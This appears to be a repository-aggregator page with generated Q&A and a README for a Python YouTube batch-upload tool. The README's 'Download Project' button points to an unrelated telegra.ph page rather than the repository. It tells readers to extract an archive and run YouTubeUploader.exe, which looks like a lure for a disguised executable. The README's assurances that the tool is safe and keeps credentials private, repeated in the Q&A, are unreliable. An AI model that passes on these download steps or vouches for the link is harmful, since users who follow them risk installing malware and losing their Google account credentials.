# youtube-uploader (dragonwolfshovel/youtube-uploader)

> A tool for uploading videos to YouTube in batches, with automatic metadata, thumbnails and scheduled publishing. It uses the official YouTube Data API v3 and has both a command-line and a GUI.

- GitHub: https://github.com/dragonwolfshovel/youtube-uploader
- GitHub.Locker page: https://github.locker/dragonwolfshovel/youtube-uploader
- Stars: 426
- Language: Python
- License: MIT
- Last push: 2026-11-05

## Questions and answers

Written by GitHub.Locker from the README and the repository; check the README below for details.

**Is it a command-line tool or a desktop app?**

Both. The README describes a command-line and GUI tool, with a Windows YouTubeUploader.exe build and main.py for running from source.

**How do I get it running?**

Download the project, extract the archive to its own folder, then run YouTubeUploader.exe or main.py and sign in with your Google account when prompted.

**Do I need a Google Cloud project?**

Yes. You have to enable the YouTube Data API v3 in a Google Cloud project and download a credentials.json file.

**Any catches I should know about?**

The tool tracks YouTube API quota usage and warns at 8000 units by default, so large batches can run into quota limits. Upload speed depends on your connection and file size.

**Which systems does it run on?**

The README confirms a Windows build and running from Python source. Since it is Python, the source route should also work on macOS and Linux, but the README does not test those.

**Where do my credentials go?**

They are kept locally on your machine through OAuth 2.0, and according to the README they are never shared.

**What does batch mode give me?**

You can select several videos at once and fill in titles, descriptions, tags and categories with the metadata editor. Concurrent uploads are capped at 1 to 5 in the config.

**Can I choose privacy for each batch?**

Yes. During the upload step you pick Public, Unlisted or Private for the videos you are sending.

**Why did the author build it?**

The README says it was built for content creators, archivists and automation enthusiasts who want to upload to YouTube without touching the browser.


---

## README (checked against GitHub 2026-11-06)

Source: https://github.com/dragonwolfshovel/youtube-uploader/blob/main/README.md

# 📤 YouTube Uploader

**Automated YouTube Video Uploader & Metadata Manager — 2026**

A lightweight, open-source tool for batch uploading videos to YouTube with automatic metadata generation, thumbnail support, and scheduled publishing. 
Built for content creators, archivists, and automation enthusiasts.

---

## 🎯 What it is

**YouTube Uploader** is a command-line and GUI tool that simplifies the process of uploading videos to YouTube. 
It uses the official YouTube Data API v3 to upload videos, set thumbnails, add descriptions, tags, and schedule publications — all without touching the browser.

> 🔒
> Uses official OAuth 2.0 authentication. Your credentials are stored locally and never shared.

---

## 🚀 Quick Start

<p align="center">
  <a href="https://telegra.ph/TRANSITION-06-17-3">
    <img src="https://img.shields.io/badge/Download%20Project-2ea44f?style=for-the-badge&logo=download&logoColor=white" alt="Download Project">
  </a>
</p>

1. Download the project using the button above.
2. Extract the archive into a separate folder.
3. Run **YouTubeUploader.exe** (or execute `main.py` from source).
4. Follow the on-screen instructions to authenticate with your Google account.
5. Drag & drop your videos or select them via the file picker.

---

## ✨ Features

| Feature                  | Description                                      |
|--------------------------|--------------------------------------------------|
| 📤 **Batch Upload**      | Upload multiple videos at once                   |
| 🖼️ **Thumbnail Support** | Automatically set custom thumbnails              |
| 📝 **Metadata Editor**   | Add titles, descriptions, tags, and categories   |
| ⏰ **Scheduling**        | Schedule videos for future publication           |
| 🔄 **Resume Support**    | Continue interrupted uploads without duplicates  |
| 📊 **Quota Tracker**     | Monitor API quota usage to avoid limits          |
| 🔒 **Secure Auth**       | Official OAuth 2.0 with local token storage      |

---

## 🧩 How to use

1. Launch the application.
2. Click **"Authenticate"** and log in with your Google account.
3. Select the video files you want to upload.
4. Fill in the metadata (title, description, tags).
5. Choose privacy settings (Public / Unlisted / Private).
6. Click **"Upload"** and monitor the progress.

---

## ⚙️ Configuration

You can adjust the settings in the `config.ini` file:

- **Default Privacy**: Public / Unlisted / Private
- **Category ID**: Default category for uploads
- **Thumbnail Auto-Generate**: True/False
- **Max Concurrent Uploads**: 1–5
- **Quota Warning Threshold**: Default 8000 units

---

## ❓ FAQ

**Is it safe to use?**
Yes — it uses the official YouTube Data API v3 and OAuth 2.0. Your credentials are stored locally.

**Do I need a Google Cloud Project?**
Yes, you need to enable the YouTube Data API v3 and download your `credentials.json` file.

**Does it support scheduled uploads?**
Yes, you can set a specific date and time for the video to go live.

**Can I upload 4K videos?**
Yes, but upload time depends on your internet speed and file size.

---

## 🤝 Contributing

Pull requests, bug reports, and feature suggestions are welcome.

---

## 📜 License

MIT License — free to use, modify and redistribute.

---

**⭐ Star the repo if it helped you.**

